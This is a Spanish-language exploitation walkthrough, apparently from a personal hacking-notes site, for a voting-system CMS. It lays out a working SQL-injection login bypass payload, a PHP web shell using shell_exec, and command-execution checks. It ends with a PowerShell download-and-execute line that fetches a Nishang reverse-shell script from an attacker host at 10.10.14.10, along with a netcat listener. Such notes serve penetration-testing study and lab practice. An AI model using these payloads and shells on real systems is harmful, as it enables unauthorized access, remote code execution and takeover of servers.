> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/voting-system-cms-exploitation.md).

# Sistema de votación

Notas de explotación del sistema de votación para inyección SQL, acceso al panel con Burp Suite, carga de archivos PHP, pruebas de inyección de comandos, payloads de PowerShell y shells inversas.

## **Vulnerabilidad de inyección SQL (SQLi)**

Use `searchsploit` para buscar vulnerabilidades en el sistema de votación e identificar la siguiente carga útil:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Usa Burp Suite para acceder al panel de control.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de subida de archivos:

Una vez en el panel de control, crea un nuevo usuario y sube `cmd.php` para ejecutar comandos en el servidor:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

El panel no aplica comprobaciones de seguridad, lo que permite inyección de comandos como `whoami`. Prueba la conectividad con un comando ping:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

Prueba si el objetivo puede enviar un ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Recibir una respuesta confirma la ejecución de comandos en el objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Ejecución de comandos de PowerShell para una shell inversa**

Una vez confirmada la ejecución de comandos, aloja el `PS.ps1` script en la máquina del atacante.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Añade la siguiente línea al final del script:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` con un servidor web:

```bash
python3 -m http.server 80
```

Luego modifica el comando para que apunte al servidor web del atacante:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Finalmente, inicia un listener en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>


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